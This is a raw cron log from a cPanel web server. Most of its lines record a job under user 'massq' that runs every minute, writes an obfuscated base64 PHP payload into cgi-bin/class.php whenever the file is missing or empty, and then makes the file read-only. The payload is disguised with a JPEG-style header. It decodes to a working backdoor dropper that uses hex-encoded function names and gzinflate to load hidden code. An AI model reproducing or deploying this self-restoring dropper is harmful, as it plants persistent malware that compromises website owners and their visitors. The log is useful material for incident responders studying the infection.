Nov 14 18:01:01 server CROND[20192]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:01:01 server CROND[20193]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 18:01:01 server run-parts(/etc/cron.hourly)[20193]: starting 0anacron
Nov 14 18:01:01 server run-parts(/etc/cron.hourly)[20206]: finished 0anacron
Nov 14 18:02:01 server CROND[21079]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:03:01 server CROND[21834]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:04:01 server CROND[22704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:05:01 server CROND[23586]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:05:01 server CROND[23587]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:05:01 server CROND[23589]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 18:05:01 server CROND[23588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:06:01 server CROND[24548]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:07:01 server CROND[25341]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:08:01 server CROND[26214]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:09:01 server CROND[27088]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:09:01 server CROND[27089]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 18:10:01 server CROND[27861]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 18:10:01 server CROND[27863]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 18:10:01 server CROND[27862]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 18:10:01 server CROND[27864]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:11:01 server CROND[28792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:12:01 server CROND[29782]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 18:12:01 server CROND[29783]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 18:13:01 server CROND[30654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
